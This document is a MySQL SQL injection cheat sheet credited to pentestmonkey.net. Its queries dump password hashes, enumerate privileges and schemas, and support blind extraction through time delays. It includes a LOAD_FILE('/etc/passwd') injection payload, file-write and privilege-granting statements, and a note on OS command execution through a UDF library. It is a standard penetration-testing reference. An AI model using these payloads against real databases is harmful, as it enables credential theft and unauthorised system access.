-------------------
Version
-------------------
SELECT @@version

------------------------
Comments
------------------------
SELECT 1; #comment
SELECT /*comment*/1;


--------------------------
Current User
-------------------------
SELECT user();
SELECT system_user();

---------------------------------------
List Users
---------------------------------------
SELECT user FROM mysql.user; -- priv

---------------------------------------
List Password Hashes
---------------------------------------
SELECT host, user, password FROM mysql.user; -- priv


---------------------------------------
List Privileges
---------------------------------------
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs

SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns


---------------------------------------
List DBA Accounts
---------------------------------------
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';

SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv


---------------------------------------
Current Database
---------------------------------------
SELECT database()


---------------------------------------
List Databases
---------------------------------------
SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db -- priv


---------------------------------------
List Columns
---------------------------------------
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'


---------------------------------------
List Tables
---------------------------------------
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'


---------------------------------------
Find Tables From Column Name
---------------------------------------
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'


--------------------------------------
Select Nth Row
-------------------------------------
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

--------------------------------------
Select Nth Char
-------------------------------------
SELECT substr('abcd', 3, 1); # returns c


--------------------------------------
Bitwise AND
-------------------------------------
SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0

--------------------------------------
ASCII Value -> Char
-------------------------------------
SELECT char(65); # returns A



--------------------------------------
Char -> ASCII Value
-------------------------------------
SELECT ascii('A'); # returns 65



--------------------------------------
Casting
-------------------------------------
SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);



--------------------------------------
String Concatenation
-------------------------------------
SELECT CONCAT('A','B'); #returns AB
SELECT CONCAT('A','B','C'); # returns ABC

-------------------------------------
If Statement
-------------------------------------
SELECT if(1=1,'foo','bar'); -- returns 'foo'


-------------------------------------
Case Statement
-------------------------------------
SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A


-------------------------------------
Avoiding Quotes
-------------------------------------
SELECT 0x414243; # returns ABC


-------------------------------------
Time Delay
-------------------------------------
SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5); # >= 5.0.12


-------------------------------------
Make DNS Requests
-------------------------------------
null

-------------------------------------
Command Execution
-------------------------------------
If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.


-------------------------------------
Local File Access
-------------------------------------
...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system

-------------------------------------
Hostname, IP Address
-------------------------------------
null


-------------------------------------
Create Users
-------------------------------------
CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv



-------------------------------------
Delete Users
-------------------------------------
DROP USER test1; -- priv


-------------------------------------
Make User DBA
-------------------------------------
GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv


-------------------------------------
Location of DB files
-------------------------------------
SELECT @@datadir;


-------------------------------------
Default/System Databases
-------------------------------------
information_schema (>= mysql 5.0)
mysql



Reference : pentestmonkey.net